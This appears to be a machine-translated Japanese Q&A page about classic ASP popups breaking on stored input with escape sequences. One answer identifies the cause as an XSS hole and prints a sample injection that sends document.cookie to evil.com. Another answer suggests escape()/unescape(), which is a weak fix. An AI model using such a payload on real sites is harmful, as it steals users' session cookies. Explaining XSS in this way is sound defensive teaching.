次の問題があります。ユーザーがデータを入力できるフォームがあります。 すべての種類のユーザーがいるため、ユーザーがエスケープシーケンス(たとえば、テキスト\ nテキスト)を入力しました。 このエントリはデータベースに挿入されています。ただし、ユーザはボタンをクリックしてポップアップウィンドウを開き、 が表示され、コメントを送信することができます。 エスケープシーケンスを含むものを除き、すべてのウィンドウはスムーズに動作しますが、開くことはできません。 これはJavaスクリプトを使用した古典的なASPです。誰も同じような問題を抱えていましたか?たぶんcharsetは問題ですか?エスケープシーケンスに問題があります - ページを開くことができません
0
A
答えて
0
あなたはXSSホールのより良質の問題を発見しました。
文字列をJavascriptでエスケープする必要があります。誰かが");document.location = "http://evil.com/?cookie=" + document.cookie;//
0
がSLaksと一緒に行くために入る前に
あなたは、この今を実行する必要があります、非常に少なくともで
をエンコード(およびそれ以降のデコード)しescape(stringVariable)
とunescape(stringVariable)
を使用するほとんどのXSS(クロスサイトスクリプティングの略)を防ぐのに役立つ特殊文字。 SLaksの例では、既存のCookie情報をコピーしながら、ユーザーを悪意のあるコードを注入して別のサイトにリダイレクトするユーザーを示しています。
関連する問題
- 1. 問題:ポップアップを2回開くことができません
- 2. Google Chromeは「google.com」ページを開くことができませんが、「google.co.in」を開くことができます
- 3. Jsoupがhtmlページを開くことができません
- 4. edmxファイルを開くことができません - ADO.NETエンティティデータモデルデザイナに「開く」がありません
- 5. Phantomjsがブラウザで開くページを開くことができません。
- 6. iOSアドイン用Outlookで問題を開くことができません
- 7. ImageMagickエラー: 'mogrify:画像の問題を開くことができません'
- 8. ブートストラップモーダルウィンドウが2回目に開くことがありません
- 9. VS 2015でリソースファイルを開くことができません:インクルードファイルを開くことができません。afxres.h
- 10. Gitのサブフォルダに ".io"があり、開くことができません。
- 11. GitHubページ - CSSがライブサイトで正しくありません。ローカルホスト上で問題ありません。
- 12. web2pyでcsvファイルを開くときに問題があります
- 13. この機能に問題があります。文字列の値を返すことができません
- 14. Ionic2:次のページを開くことができません:コンポーネントファクトリが見つかりません
- 15. テキストを左に置くことに問題があります
- 16. アンドロイドがループに何か問題があります。ハッシュマップに値を入れることができません。
- 17. phpmailer問題。 smtp connect()エラーを取り除くことができません
- 18. Eclipseに問題があり、org.apache.maven.surefire.report.RunListenerをインポートできません。
- 19. Atom Editorでページアップできず、ページを開くことができませんOSX
- 20. デスクトップモード(常にモバイルモード)でPhantomJSのWebページを開くことができません
- 21. Datepickerdialogが空のときに開くことはありません
- 22. svnチェックアウトに問題がありますチャンクサイズを読み取ることができませんでした
- 23. ブラウザで公開リンクプロファイルを開くことができません
- 24. リンクリストに問題がありますが、デバッガはテンポラリメモリにアクセスできません。
- 25. IEブラウザを開くことができません。コードとエラーの両方に説明がありますか?
- 26. pjsua_media.cサウンドデバイスを開くことができません:適切なサウンドキャプチャデバイスがありません
- 27. 致命的なエラーC1083 - インクルードファイルを開くことができません: "windows.h":ファイルやディレクトリがありません
- 28. テンプレートの問題がありません
- 29. Excelファイルが正常に開くことができません
- 30. IDLEでプログラムを開くことができますが、ターミナル、アトムなどにはありません